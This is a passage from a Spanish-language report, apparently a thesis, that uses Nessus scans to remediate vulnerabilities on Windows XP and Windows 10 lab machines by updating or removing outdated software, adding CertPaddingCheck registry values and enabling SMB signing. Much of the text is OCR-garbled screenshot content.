Como podemos ver, ahora tenemos mas vulnerabilidades puesto que las actualizaciones han
instalado una gran cantidad de paquetes los cuales estan obsoletos o actualizados a la Gltima
version que aceptaba este SO por lo que son actualizaciones obsoletas y sin estabilidad alguna.

En las siguientes dos imagenes, podemos ver dos nuevas vulnerabilidades criticas las cuales nos
indican que es un SO sin soporte y que deberiamos de actualizar el SO.

XP /[ Complemento #73182

< er a Vulnerabilidades

vulnerabilidades 42

Deteccién de instalacién no admitida de Microsoft Windows XP

Descripcién
El host remoto ejecuta Microsoft Windows XP. El soporte para este sistema operativo por parte de Micrasoft finalizd el 8 de abril de 2014,

La falta de soporte implica que el proveedeor no lanzard nueves parches de seguridad para el producto, Come resultado, es probable que contenga
vulnerabilidades de seguridad. Ademés, 23 poco probable que Micresoft investigue o reconozca los informes de vulnerabilidades.

Solucién
Actualice a una version de Windows que sea compatible actualments,

llustracion 230 — Vulnerabilidad — WXP Sin soporte

AP/ Complemento #62758

< er a era sde

vulnerabilidades 42

Microsoft XML Parser (MSXML) y XML Core Services no compatibles

Descripcidn
El host remoto contiene una o mas versiones no admitidas de Microsoft XML Parser (MSXML) o XML Core Services.

La falta de soporte implica que el proveedor no lanzard nuevos parches de seguridad para el producto. Come resultado, s probable que contenga

vulnerabilidades de seguridad.

Tenga en cuenta que la compatibilidad con MSXML 3.0y 6.0 se basa en la politica de compatibilidad del sistema operativo en el que esta instalado.
La compatibilidad con MSXML 5.0 se basa en la politica de ciclo de vida de Microsoft Office.

Solucién
Actualice los paguetes de software responsables de las versiones DLL no compatibles o actualice a una versién compatible de Windows (Vista/2008 o
posterior). Como alternativa, desinstale los servicios basicos de MSXML o XML obsoletos,

llustracion 231 — Vulnerabilidad — Paquetes obsoletos no compatibles con la version del sistema operativo

Otra vulnerabilidad critica es la version del Internet Explorer y que tampoco podemos actualizar,
ya que tenemos instalada la ultima version que soporta Windows XP, por lo que, intentamos
desinstalarlo.
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=
| & Agregar o quitar programas

rr R

@'j Programas actualmente instalados: [0 Mastrar actualizaciones Ordenar por:
Cambiar o " -
q_uitar ﬁl Microsaft \MET Framework 2.0 Service Pack 2 Tamario 185,00ME ™
programas ﬁ! Microsoft .MET Framework 3.0 Service Pack 2 Tarnafio 241,00MB
- ﬁl Microsoft \MET Framework 3,5 SP1 Tamafia 28,64MB
E ca
Agregar nuevos LE“ Microsaft .MET Framework 4 Client Profile Tamafio 120,00ME
(e FElmEE h%‘;. Microsaft JMET Framework 4 Extended Tamafia 38, 04ME
- ﬁl Microsoft Compression Client Pack 1.0 For Windows XP
E w Microsoft Silverlight Tamafia 22,75MB
Agregar o quitar
romponentes de ﬁ! Microsoft User-Mode Driver Framewark Feature Pack 1.0
Windows 5! oracle WM VirkualBox Guest Additions &.1.38 Tamafio 7,10MB
@ LE" Paquete de idioma de Microsoft \MET Framework 4 Client Profile ESM Tamafio 29,38MB
h%‘;. Paguete de idioma de Microsoft \MET Framewark, 4 Extended ESM Tamafio 7,48MB

Configurar accesa

¥ [FIEElEES @ Reproductor de wWindows Media 11 Tamafio 7,97MB
predeterminados !

Se utilizd por Gl
Haga clic en Quitar para eliminar este programa.
@ Windows Media Farmat 11 runtime Tamnafio 7,97ME
a windows Search 4.0 Tamafio 5,22ME ;

llustracién 232 — Vulnerabilidad — Windows Internet Explorer 8

Tenemos el inconveniente de que si quitamos internet explorer algunas actualizaciones de
seguridad pueden ser eliminadas también, dando paso a méas vulnerabilidades. Por lo que no seria
recomendable borrarlo.

Internet Explorer B

Log ziguientes programas ze ingtalaron en el equipo después de |nternet
E=plarer &

Actualizacion de sequridad para Windows %P [KBE2115
Actualizacion de sequndad para Windows <P [KE2223 —
Actualizacion para Windows ¥P [K.B2264107]
Actualizacion de sequridad para Windows #F [KB2236
Actualizacion para Windows <P [KBZ234533E]
Actualizacion de sequridad para el Reproductor de Wi

Actualizacion de sequridad para Windows <P [FE2387
Actualizacidn de zequridad para \Windows <P [KB2343

Mebzlizzcidn Aa camridad mars Whindaws %P IKR24A70

< | b

Si eztog programas dependen de Intemet Explarer 8, ez posible que no
funu:iu:unen_u:nrreu:tamente cuando éste 32 hava quitado. iDesea

llustracion 233 — Vulnerabilidad - Actualizaciones en peligro

Otra vulnerabilidad critica que tenemos es por la version de las librerias .NET Framework, las
cuales tampoco podemos actualizar por el sistema operativo.
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AP/ Complemento #72704

< Yalver al grupo de vulnerabilidad

vulnerabilidades 42

Microsoft .NET Framework no compatible

Descripcién
Segln el ndmero de versidn autoinformado, hay al menos una versidn de Microsoft .MET Framework instalada en el host remoto de Windows que ya
no es compatible,

La falta de soporte implica que el proveedor no lanzara nuevos parches de seguridad para el producto. Como resultado, es probable que contenga
vulnerabilidades de seguridad.

solucién

Actualice a una versién de Micresoft NET Framework que actualments sea compatible.

llustracion 234 — Vulnerabilidad - .NET Framework

Revisaremos la pestafia de ‘Remediaciones’ para intentar quitar varias vulnerabilidades de una
forma mas réapida.

Hospedadores 1 vulnerabilidades 42 Remediaciones 5 Principales amenazas de VPR @) Historia 1

Accidn

Google Chrome < 107.0.5304.110 Multiples vulnerabilidades: actualice a Google Chrome version 107.0.5304.110 o posterior
Adobe Flash Player <= 32.0.0.423 (APSB20-58): actualice a Adobe Flash Player versién 32.0.0.445 ¢ posterior.

Instalar KB4023307

Instalar KB4012583

KBAD23307: Actualizacion de seguridad para la vulnerabilidad de ejecucion remota de cédigo Uniscribe de Windows para Microsoft Silverlight 5 (junio de 2017 aplique la actualizacion de seguridad KB4023307.

llustracion 235 — Pestafia ‘Remediations’

Empezaremos intentando instalar la actualizacién KB4023307. Para ello vamos al catalogo de
actualizaciones de Windows y buscamos dicha actualizacion.

Cammaﬂ Update

llustracion 236 — Catalogo de actualizaciones de Windows — KB4023307

Al intentar descargar la actualizacion nos salta el siguiente error.

htips: /fwww catalog update microsoft.com,ErrorInline asp id=2330070248

'IQZ‘ El sitio web ha encontrado un problema
[N_dmem de error: 8DDD0024]

The update requested could not be faund.

llustracion 237 — Error descarga KB4023307
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Lo intentamos con la siguiente actualizacion KB4012583. La descargamos del catdlogo de

actualizaciones de Windows como la anterior, esta vez sin problemas.

llustracion 238 — Catalogo de actualizaciones de Windows — KB4012583

Ejecutamos él .exe y la instalamos.
Asistente para la instalacion de actualizaciones de software
|32 este azistente para inztalar la siguiente actualizacion de

software:

Actualizacion de seguridad para
Windows XP (KB4012583)

Antez de inztalar exta actualizacion se recomienda;

- Hacer copia de seguridad del sistemna
- Cerrar todos log programas abiertos

Puede que necesite reiniciar el equipo una vez finalizada la
actualizacion. Para cantinuar, haga clhic en Siquiente.

| Siquiente > | Cancelar

llustracién 239 — Instalacion - actualizacion KB4012583

Una vez terminada la instalacion pinchamos en ‘Finalizar’.
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Asistente para la instalacion de actualizaciones de software

Finalizacion del Asistente parala
instalacion de Actualizacion de
seguridad para Windows XP
{(KB4012583)

El Aziztente para la instalacion de K.B401 2583 finaliza
comectamente.

Para aplicar los cambios, el asistente debe reimciar Windaws.
Para reiniciar Windows automaticamente, haga clic en
Finalizar. 5i desea reiniciar maz tarde, seleccione la cazila de
verficacion "Mo reiniciar ahora" w haga clic en Finalizar.

| Mo reiniciar ahaora

| Finalizar |

llustracion 240 — Finalizacidn de la Instalacion - actualizacion KB4012583

Reiniciamos para que se aplique la actualizacién y seguimos intentando remediar las
vulnerabilidades existentes. La siguiente vulnerabilidad que nos indica la pestafia de
‘Remediations’ es que actualicemos Google Chrome. Intentamos actualizar este recibiendo la
siguiente notificacion.

Informacion

e Google Chrome
Un navegador web creado para mejorar |a welocidad, la faclidad de uso v la seguridad

Obtener ayuda de Chrome Motificar un errar

Wersidn 49.0,.2623.112

@& Este ordenador dejard de recinir actuglizaciones de Google Chrome porgue va no es compatible con Windows XP v windows vista, Més informacicn

llustracion 241 — Google Chrome ultima version instalable en WXP

Como vemos no podemos obtener la Ultima actualizacion de Google Chrome ya que no es
compatible con el sistema operativo.

Por ultimo, tampoco podemos deshacernos de la vulnerabilidad de adobe ya que no podemos
actualizarlo

Adobe Flash Player EOL Péagina de informacién general

Dado que Adobe yano es compatible con Flash Player después del 31 de diciembre de 2020 v bloguet la ejecucién del contenido de Flash en Flash Player a partir del 12 de enero de
2021, Adobe recomienda enféticamente a todos 105 usuarios que desinstalen Flash Player de inmediato para ayudar a proteger sus sistemas

Algunos usuarios pueden sequir viendo recordatorios de Adobe para desinstalar Flash Player de su sistema. Consulte a continuacion para obtener méas detalles sobre ¢omo desinstalar
Flash Player.

llustracion 242 — Adobe Flash Player

107



En el equipo Windows — XP partiamos de lo siguiente:

[ ———————~e———~—e—

llustracién 243 — Primer escaneo — Windows XP

Hemos acabado asi

llustracion 244 — Ultimo escaneo — Windows XP

Podemos ver como Windows XP con las Ultimas actualizaciones existentes y de las que nuestro
equipo es capaz de instalar, seguimos teniendo gran cantidad de vulnerabilidades. Esto se debe a
gue cuando salio la siguiente versidn, Windows 7, Windows XP dejo de recibir actualizaciones
de seguridad, quedando hoy en dia sin soporte alguno y sin posibilidad de remediar muchas de

las vulnerabilidades que tenia en su dia.

6.4.4 Windows 10.

El cuarto y ultimo equipo que parchearemos serd& Windows 10. Este equipo parte con las

siguientes vulnerabilidades.

llustracion 245 — 12 Escaneo de Vulnerabilidades Windows 10

Lo primero que haremos sera buscar las actualizaciones que hay disponibles. Para ello entramos
en la ruta configuracion> actualizacién y seguridad, le daremos a buscar actualizaciones y

esperaremos a que se descarguen e instalen todas.
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Windows Update

Actualizaciones disponibles
Ultima comprobacion: hoy, 19:32
Faltan correcciones importantes de seguridad y calidad en tu dispositivo.

Herramienta de eliminacion de software malintencionado de Windows x64, v5.107
(KB890830)
Estado: Descargando - /%

2022-11 Actualizacion acumulativa para .NET Framework 3.5, 4.8 y 4.8.1 para Windows 10
Wersion 21H2 para x64 (KB5020687)
Estado: Descargando - 0%

2022-11 Actualizacion acumulativa para Windows 10 Version 21H2 para sistemas basados
en x64 (KB5019959)
Estado: Descargando - 0%

2022-04 Actualizacion de Windows 10 Version 21H2 para sistemas basados en x64
(KB5005463)
Estado: Descargando - 0%

2022-04 Actualizacién de Windows 10 Version 21H2 para x64 sistemas basados en
(KB4023057)
Estado: Descargando - 0%

2022-02 Vista previa de actualizacion acumulativa de .NET Framework 3.5 y 4.5 para
Windows 10 Version 21H2 para x64 (KB5010472)
Estado: Descargando - 22%

llustracion 246 — Descarga e instalacion de actualizaciones Windows 10

Una vez se hayan instalado las actualizaciones disponibles, reiniciamos el equipo para que se
apliquen.

Trabajando en las actualizaciones
5% completado
No apagues el equipo

llustracion 247 — Configuracion de las actualizaciones Windows 10
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Volvemos a buscar actualizaciones por si hay alguna que no se haya instalado o necesitaba de
estas actualizaciones previas para poder instalarse, la descargamos e instalamos.

Windows Update

EI Actualizaciones disponibles

Ultima comprobacién: hoy, 20:01

2022-11 Actualizacién acumulativa para Windows 10 Version 22H2 para sistemas basados
en x6d (KB5020030)

Estado: Instalando - 74%

llustracion 248 — 22 descarga de actualizaciones Windows 10

Una vez instalada, volvemos a reiniciar el equipo para que se apliquen los cambios.

Trabajando en las actualizaciones
30% completado
No apagues el equipo

llustracion 249 — 22 Configuracion de las actualizaciones Windows 10

Una vez instaladas todas las actualizaciones disponibles, volvemos a lanzar un escaneo. Vemos
como hemos reducido una parte de las vulnerabilidades que teniamos.

........

scan Details

llustracion 250 — 22 Escaneo de Vulnerabilidades Windows 10

Entramos al apartado vulnerabilidades y vemos que gran parte de las vulnerabilidades son por el
paquete de Microsoft office. Entramos y vemos que problema tenemaos.
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gg- Mozilla Firefox (Multiple Issues)

| &4 Microsoft Office (Multiple Issues]l

3 Microsoft Internet Explorer (Multiple 1ssues)

2 Microsoft Access (Multiple \ssues)l

2 Microsoft Office (Multiple Issues) |

| 2 Microsoft Office Compatibility Pack (Multiple Issues) |

2 Microsoft Powerpoint Viewer (Multiple Issues) |

| 2 Microsoft Visio Viewer(MuItipIeIssues)l

9.3%* I Microsoft Office Service Pack Out of Date |

9.37* I MS07-025: Vulnerabilities in Microsoft Office Could Allow Remaote Code Execution (934873)

9.3F MS13-002: Vulnerabilities in Microsoft XML Core Services Could Allow Remote Code Execution (2756145)

9.3* RealVNC VNG Viewer < 4,1.3/4.4.3 Arbitrary Command Execution

7.8 ISecurity Updates for Microsoft Office Viewer Products / Office Compatibility Products (August 201 SJI

I g Microsoft Office Compatibility Pack (Multiple 1ssues)

I 2 Microsoft Excel (Multiple Issues) I

3 Microsoft Windows (Multiple Issues)

I 2 Microsof‘tOut\ook(MultipleIssues)l

llustracion 251 — Vulnerabilidad Microsoft Office

Como podemos ver, Nessus nos informa de que tenemos una version de office obsoleta.

Sev - Score - Mame .
10.0 Micrasoft Office Compatibility Pack Unsupported Version Detection
- Microsoft Office Compatibility Pack Installed (credentialed check)

llustracion 252 — Vulnerabilidad Microsoft Office — Version obsoleta

Nos informa de que esta vulnerabilidad puede ser explotada por un atacante externo haciendo uso
de una ejecucion de codigo remoto, por lo que, tenemos que actualizar o desinstalar Microsoft
office del equipo.
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CRITICAL

HIGH

HIGH

HIGH

w
o

93*

93*

93*

93%*

93 *

93*

937

93*

93*

93*

93%*

93%*

93 *

937

93*

93*

M510-031:

MS07-037:

MS508-014:

M508-015:

M508-026:

M508-027:

M508-043:

MS08-055:

M508-072:

M509-00%:

M509-021:

M509-024:

M509-027:

MS09-030:

MS510-017:

M510-023:

M510-036:

Vulnerability in Microsoft Visual Basic for Applications Could Allow Remote Code Execution (978213)

Vulnerability in Microsoft Publisher Could Allow Remote Code Execution (936548)

Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution (949029)

Vulnerability in Microsoft Outlook Could Allow Remote Code Execution (349031)

Vulnerabilities in Microsoft Word Could Allow Remote Code Execution (951207)

Vulnerability in Microsoft Publisher Could Allow Remote Code Execution (951208)

Wulnerabilities in Microsoft Excel Could Allow Remote Code Execution (954066)

Wulnerabilities in Microsoft Office Could Allow Remaote Code Execution (955047)

Wulnerabilities in Microsoft Word Could Allow Remote Code Execution (957173)

1Wulnerabilities in Microsoft Office Excel Could Cause Remote Code Execution (968557)

Yulnerabilities in Microsoft Office Excel Could Allow Remote Code Execution (969462)

Vulnerability in Microsoft Works Converters Could Allow Remote Code Execution (957632)

Vulnerabilities in Microsoft Office Word Could Allow Remote Code Execution (969514)

Vulnerability in Microsoft Office Publisher Could Allow Remote Code Execution (969516)

Vulnerabilities in Microsoft Office Excel Could Allow Remote Code Execution (9380150)

Vulnerability in Microsoft Office Publisher Could Allow Remote Code Execution (981160)

Vulnerability in COM Validation in Microsoft Office Could Allow Remeote Code Execution (983235)

llustracion 253 — Vulnerabilidad Microsoft Office — Code Execution

Entramos al equipo para ver que version tenemos.

r—— =
0
&
AD one
= O e Word 200
X O o e 0
O = o 0
B Office PowerP 00
0 e Acce 00
O o 0
O g e 36
O g e
.l e ab 0g
O office g
ne
O e.0OneNo b3d o
2 off

llustracion 254 —Version Microsoft Office
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Como vemos, tenemos la version 2007, es decir, una version bastante antigua sin un soporte activo
ya, por lo que vamos a desinstalarla.

mEW Microsoft Office Professional 2007
G 19/10/2022
12.0.4518.1014

Maodificar Desinstalar

llustraciéon 255 —Desinstalacion Microsoft Office

Una vez desinstalado Microsoft office, seguimos viendo el resto de las vulnerabilidades. Otra es
en un programa instalado en el equipo, VNC, para conexiones remotas.

vulnerabilidades &3

RealVNC VNC Viewer <4.1.3/4.4.3 Ejecucion de comandos arbitrarios

Descripcidn

La version de VNC Viewer de RealVNC instalada en el host remoto de Windows se ve afectada por varios problemas:

- Un errar en la funcién 'CMsgReader:readRect()’ en ‘common/rfb/CMsgReader.cxx’ que entra en juego al procesar tipos de codificacion, puede
permitir la ejecucidn de codigo arbitrario en el sistema remoto. S un atacante puede engafiar a un usuario en el host remoto para que se conecte a
un servidor malicioso, puede explotar este problema utilizande mensajes especialmente disefiados para comprometer ese host.

- Al engafiar a un usuario para que se conecte a un servidor VNC malicioso, es posible que un atacante ejecute codigo arbitrario en un sistema
remoto mediante el envio de datos de protecelo RFE maliciosos al componente VNC Viewer remoto. Tenga en cuenta gue los servidores VNC no se
ven afectados por este problema.

Solucion

Actualice a RealVMNC VNC Viewer Free Edition 4.1.3 / Personal Edition 4.4.3 / Enterprise Edition 4.4.3 o posteriar.

Ver también

ealvnc.com/ensconnect/benefits/

se-notes.html

alvnc.com/products/enterprise/4.4/release-notes.htm

llustracion 256 — Vulnerabilidad VNC

Tenemos una version antigua, la 4.1.2, por lo que vamos a actualizar el programa. Primero,
desinstalamos este.

Vn VMNC Free Edition 4.1.2
- 19/10/2022
41.2

Maodificar Desinstalar

llustracion 257 —Desinstalacién VNC

Ahora, instalamos la nueva version, 6.22.826.
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ﬁ Instalacion de VNC Viewer 6.22.826 — X

Instalacion de VNC Viewer 6.22.826
Vn De esta forma, VNC Viewer 6.22.826 se instalara en el

C equipo.

Haga dic en Siguiente para continuar, o en Cancelar para
salir del programa de instalacién.

Atras Cancelar

llustracién 258 — Nueva version VNC

Instalamos la nueva version de VNC, pinchamos en ‘Instalar’.

ﬁ Instalacion de VMC Viewer 6.22.820 — -

Listo para instalar VNC Viewer 6.22.826 VE

Haga dic en Instalar para comenzar la instalacidn. Haga dic en Atrds para revisar o
cambiar la configuradon de la instalacdn. Haga dic en Cancelar para salir del asistente.

Atras Instalar Cancelar

llustracién 259 — Instalacion nueva version VNC
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Una vez resueltas estas vulnerabilidades, vamos al apartado ‘Remediations’ a ver que nos queda.

Hosts | 1 Vulnerabilities | 63 Remediations 9 VPR Top Threats History 2

Action

Mozilla Firefox < 107.0: Upgrade to Mozilla Firefox version 107.0 or later,
nstall KB3114900

nstall KB3191897

nstall KB4461607

nstall KB2881067

nstall KB4018354

nstall KB4011200

nstall KB3127888

nstall KB2597975

llustracion 260 —Pestafia ‘Remediations’

Vamos a actualizar la version de Firefox que tenemos. Para ello desinstalamos la versién que

tenemos instalada para evitar que queden archivos de versiones antiguas en el equipo e instalamos
la nueva version. Descargando €l .exe de la pagina oficial.

f) Mozilla Firefox 29.0.1 (x86 es-ES) 66,2 MB

19/10/2022
29.0.1

Maodificar Desinstalar

llustracion 261 — Desinstalacion Mozilla Firefox

Ejecutamos el .exe de la version actual y la instalamos.

iy Firefox Installer 20/11/2022 21:26 Aplicacign 344 KB

llustracion 262 — .exe de la nueva versién de Mozilla Firefox

Una vez instalada la nueva version de Mozilla Firefox, entramos en ayuda > Acerca de Firefox y
corroboramos que tengamos Firefox actualizado.
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Acerca de Mozilla Firefox *

Firefox Browser

.~ Firef d actualizado

bit)

yuda de Fir ar opinién

do p una comunidad glebal que trabaja unida para
mantener la Web abierta, p

;Quiere ayudar? {Haga una donacién o involicrese!

Infermacién de licencia io fi Politica de privacidad

llustracion 263 — Mozilla Firefox actualizado

Una vez actualizados los programas que generaban vulnerabilidades volvemos a realizar un
escaneo.

Scan Details

Vulnerabilities

llustracion 264 — 32 Escaneo de Vulnerabilidades Windows 10

Vemos que se han quitado gran parte de las vulnerabilidades. Vemos las que nos quedan y Nessus
nos indica que tenemos una vulnerabilidad en el Microsoft Internet Explorer instalado.

Sev - Score » MName .
CRITICAL 10.0 Microsoft Internet Explorer Unsupparted Version Detection
INFO Microsoft Internet Explorer Installed
INFO Microsoft Internet Explorer Version Detection

lustraciéon 265 — Vulnerabilidad Microsoft Internet Explorer

La primeray Unica vulnerabilidad critica es la version sin soporte de Microsoft Internet Explorer.
Vamos a desinstalarlo, ya que su nueva version Edge esta también instalada.
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Internet Explorer
Aplicacién Ejecutar como administrador

Configuracion Abrr ubicacion de archivo

' Opciones de Internet Anclar a Inicio

. ; . Anclar a la barra de tareas
(O Ver si tienes una version de 32 ¢
bits de Windows

Desinstalar

llustracion 266 — Desinstalacion Microsoft Internet Explorer

Una vez desinstalado, lo deshabilitamos desde el gpedit.msc para evitar que gueden restos de
configuracion y actualizaciones obsoletas de Internet Explorer en el equipo.

! Ejecutar

x

= Escriba el nombre del programa, carpeta, documento o
-\__rl.l. . )
= recurso de Internet que desea abrir con Windows.

Abrir: | gpedit.msc

¥ Estatarea se creara con privilegios adrministrativos,

Aceptar Cancelar Examinar...

llustracién 267 — comando: gpedit.msc

Entramos en la ruta Configuracion del equipo\Plantillas administrativas\Componentes de

Windows\Internet Explorer y buscamos la directiva ‘Deshabilitar Internet Explorer 11 como un
explorador independiente’ y la habilitamos. [29]

Intemet Explorer
Deshabiitar Intermet Explorer 11

Configuaacién

v |\ Estendido / Estandar/

llustracion 268 — Directiva ‘Deshabilitar Internet Explorer 11 como un explorador independiente’
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Seguimos viendo el resto de las vulnerabilidades. Vemos que tenemos dos directivas mal
configuradas o faltantes en el equipo que provocan una brecha en el sistema.

W10/ Complemento #166555

« Volver a Vulnerabilidades

vulnerabilidades 45

Mitigacién de validacion de firmas WinVerifyTrust CVE-2013-3900 (EnableCertPaddingCheck)

Descripcion

El sistema remoto puede estar en un estado vulnerable a CVE-2013-3900 debido a claves de registro faltantes o mal configuradas:

- HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\wintrust\Cenfig\EnableCertPaddingCheck

- HKEY_LOCAL_MACHIMEVSoftware\Wow6432Node\Microsoft\Cryptography\Wintrust \Config\EnableCertPaddingCheck Un atacante remoto no
autenticado podria explotar esto mediante el envio de solicitudes especialmente disefiadas para ejecutar codigo arbitrario en un host afectado.

Solucién
Agregue y habilite el valor de registro EnableCertPaddingCheck:
- HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\wintrust\Cenfig\EnableCertPaddingCheck

Ademas, en sistemas con SO de 64 bits, agregue y habilite el valor de registro EnableCertPaddingCheck:

- HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config \EnableCertPaddingCheck
Ver también

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2013-3900
http:/fwww.nessus.org/u?9780b9d2

llustracion 269 — Vulnerabilidad - WinVerifyTrust

Para solucionar la vulnerabilidad creamos un bloc de notas con las siguientes lineas para
modificar el registro y crear dichas directivas, lo guardamos como ‘WinVerifyTrust.reg’ y lo
ejecutamos. [30]

Windows Registry Editor Version 5.088
[HKEY LOCAL MACHINE\Software\Microsoft\Cryptography\Wintrust\Config]
"EnableCertPaddingCheck”="1"

[HKEY_LOCAL_MACHINE‘\Software\Wows432Node\Microsoft\Cryptography\WintrustiConfig]
"EnableCertPaddingCheck"="1"|

llustracion 270 — Cédigo para la modificacion de las directivas

Aceptamos la creacion de ambas variables en el registro.

Editor del Registro

5i se agrega informacian, los valores se pueden cambiar o eliminar sin intencién y algunos
componentes podrian dejar de funcienar correctamente. 5i no confia en el origen de la
informacion de ChUsers\Administrador\Desktop WinVerify Trust.reg, no la agregue al

Registro,

;Estd seguro de que desea continuar?

Ilustracion 271 — Ejecucion del script ‘WinVerifyTryst.reg’

Vemos que se modifico el registro de Windows sin ningln problema.
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o Editor del Registro

Las claves y valores contenidos en ChlUsers\Administrador\Desktop\WinVerify Trust.reg se
agregarcn correctamente al Registro.

llustracion 272 — Correcta modificacion del registro

Corroboramos que se hayan creado las directivas.

Archivo

Edicign

[ Editor del Registro

Ver Favorites  Ayuda

EquipotHKEY_LOCAL_MACHIME\SOFTWARE\Microsoft\ Cryptography\Wintrust\Config

BidInterface

BitLockerCsp

CallAndMessagingEnhancerr

Cellular

Chkdsk

Clipboard

ClipboardServer

CloudManagedUpdate

COm3

Command Processor

CommsAPHost

Compaosition

CoreShell

Cryptography
AutoEnrollment
Calais
CatalogDB
CatDBTempFiles
Defaults
DRM_RNG
oD
Protect
Providers
Services
Userlnterface
Wintrust

Config

CspSchema

CTF

DatafAccess

DataCollection

DataSharing

nnne

~

Datos

(valor no establecido)

Tipo
: REG_SZ
| ab|EnableCertPaddingCheck REG SZ 1 I

llustracién 273 — Directiva 1
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[ Editor del Registro

Archive Edicion  Ver Favoritos  Ayuda
Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\WOWBG432Mode\Microsoft\ Cryptography\Wintrust\ Config

Active Setup * || Nombre Tipo Datos
ADs E_PJ(Predeterminado) REG_SZ (valor no establecida)
Advanced INF Setup 3] EnableCertPaddingCheck REG_SZ 1
AMSI

AppServiceProtocols

AppV

Assistance

AuthHost

BidInterface

BitLockerCsp

Cellular

ClipboardServer
COM3

Command Processor
Compaosition

v Cryptography

, AutoEnrollment
Calais

Defaults
DRM_RMG

oD

Protect
Providers
Services

; Userlnterface

v Wintrust

: Config

CTF

Datafhccess

DevDiv

Device Association Frame

DeviceReg
nES £

llustracién 274 — Directiva 2

La Gltima vulnerabilidad es la siguiente. Vemos que tenemos deshabilitada la opcién de firma
SMB en el equipo permitiendo a un atacante poder entrar en el equipo sin autenticarse. [31]

W10 / Complemento #57608

<

vulnerabilidades 45

No se requiere firma SMB

Descripcion
Mo es necesario firmar en el servidor SMB remoto. Un atacante remoto ne autenticado puede aprovechar esto para realizar ataques de
intermediario contra el servidor SMB.

Solucién

Hacer cumplir la firma de mensajes en la configuracion del host. En Windows, esto se encuentra en la configuracion de politica 'Servidor de red de
Microsoft: firmar digitalmente las comunicaciones (siempre). En Samba, |a configuracién se llama firma del servidor', Consulte los enlaces ver
también’ para obtener méas detalles.

Ver también

http:/Amww.nessus.org/u?df3obsh3

h technet.microsoft.com/en-us/library/cc731957.aspx

http e55Us.0rg/u?74b80723
https://www.samba.org/sambasdocs/current/man-html/smb.conf.5.html

http://www.nessus.org/u?a3cacdea

llustracion 275 — Vulnerabilidad - SMB
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Abrimos una terminal de gpedit.msc y cambiamos la siguiente politica a ‘Habilitada’.

(=[ Editor de directivas de grupo local

Archivo  Accién  Ver  Ayuda

e nFEIXE= HE

\=[ Directiva Equipo local

w i Configuracion del equipo
Cenfiguracién de software
~ || Configuracién de Windows

| Directiva de resolucion de nembres
|£l] Seripts (inicio o apagado)
= Impresoras implementadas
T Configuracién de seguridad
m Directivas de cuenta
w |4 Directivas locales
7 Directiva de auditoria

<

4 Asignacion de derechos de usuario
' Opciones de sequridad
~| Windows Defender Firewall con segurida|
“| Directivas de Administrador de listas de n|
_| Directivas de clave publica
~ Directivas de restriccion de software
_| Directivas de control de aplicaciones
g Directivas de seguridad IP en Equipo loca
~| Configuracién de directiva de auditoria a|
wlll QoS basada en directiva
| Plantillas administrativas
~ 4%, Configuracién de usuario
| Configuracién de software
_| Configuracién de Windows
~| Plantillas administrativas

< >

Directiva
| Criptografia de sistema: usar algoritmos que cumplan FIPS para cifrado, fir...
| Cuentas: estado de la cuenta de invitado
| Dispositivos: impedir que los usuarios instalen controladores de impresora
Inicio de sesién interactivo: No mostrar dltimo inicie de sesién
| Inicio de sesién interactivo: requerir la autenticacién del controlador de do...

| Inicio de sesién interactivo: requerir Windows Hello para empresas o tarjeta ...

Miembro de dominie: deshabilitar los cambios de contrasefia de cuentas de...
| Seguridad de red: forzar el cierre de sesion cuando expire la hora de inicio d..
| Servidor de red Microsoft: firmar digitalmente las comunicaciones (si el clie...

i Servidor de red Microsoft: firmar digitalmente las comunicaciones (siempre)

Accese a redes: no permitir enumeracicnes anénimas de cuentas SAM

| Acceso a redes: restringir acceso anénimo a canalizaciones con nombre y re...

| Apagado: permitir apagar el sistema sin tener que iniciar sesian

Cliente de redes de Microsoft: firmar digitalmente las comunicaciones (si el ...
| Control de cuentas de usuario: cambiar al escritorio segure cuando se pida ..

| Control de cuentas de usuario:
| Contral de cuentas de usuario:
Control de cuentas de usuario:

| Control de cuentas de usuario: virtualizar los errores de escritura de archivo ...

| Cuentas: estado de la cuenta de administrador

| Cuentas: limitar el uso de cuentas locales con contrasefia en blanco solo par...

Dispositives: permitir desacoplamiento sin tener que iniciar sesian

| Miembro de dominio: cifrar digitalmente datos de un canal seguro (cuando...
| Miembro de dominic: cifrar o firmar digitalmente datos de un canal seguro ...

Miembro de dominio: firmar digitalmente datos de un canal seguro (cuand...
| Miembro de dominio: requerir clave de sesion segura (Windows 2000 o post..

| Objetos de sistema: reforzar los permisos predeterminados de los objetos in...

| Objetos de sistema: requerir no distinguir mayidsculas de mindsculas para s...

Seguridad de red: no almacenar valor de hash de LAN Manager en el préxi..

| Servidor de red Microsoft: desconectar a los clientes cuando expire el tiemp...

| Cuentas: cambiar el nombre de cuenta de invitado

detectar instalaciones de aplicaciones y pedi...
ejecutar todos los administradores en Modo ...

elevar sole aplicaciones UlAccess instaladas ..

Configuracié;ﬂ de seguri...
Deshabilitada
Deshabilitada
Deshabilitada
Deshabilitada
Deshabilitada
Deshabilitada
Deshabilitada
Deshabilitada
Deshabilitada
Deshabilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Habilitada
Invitado

llustracion 276 — Modificacion directiva SMB

Aplicamos y aceptamos.

B

(®) Habiltada

{siempre)

Propiedades: Servidor de red Micresoft: firmar digitalmen... ?

Corfiguracidn de sequridad local

() Deshabiltada

Explicacidn

Servidor de red Microsoft: firnar digitalmente las comunicaciones

Si modffica esta configuracion, esto puede tener un impacto en la
compatibiidad con clientes, servicios v aplicaciones.

Para obtener mas informacion, consulte Servidor de red Microsoft:
fimnar digitalmente las comunicaciones (siempre]. (3823659)

Aceptar Cancelar Aplicar

llustracion 277 — Habilitar directiva SMB




Reiniciamos el ordenador para aplicar los cambios. Una vez resueltas las vulnerabilidades
volvemos a escanear para comprobar si queda alguna.

ost Vulnerabiliie Scan Details

Vulnerabilities

llustracion 278 — 42 Escaneo de Vulnerabilidades Windows 10

Como vemos, solo queda una, la del certificado de SSL del portal de Nessus.

W10 / Complemento #51192

< 2l 3

vulnerabilidades 20

No se puede confiar en el certificado SSL

Descripcion
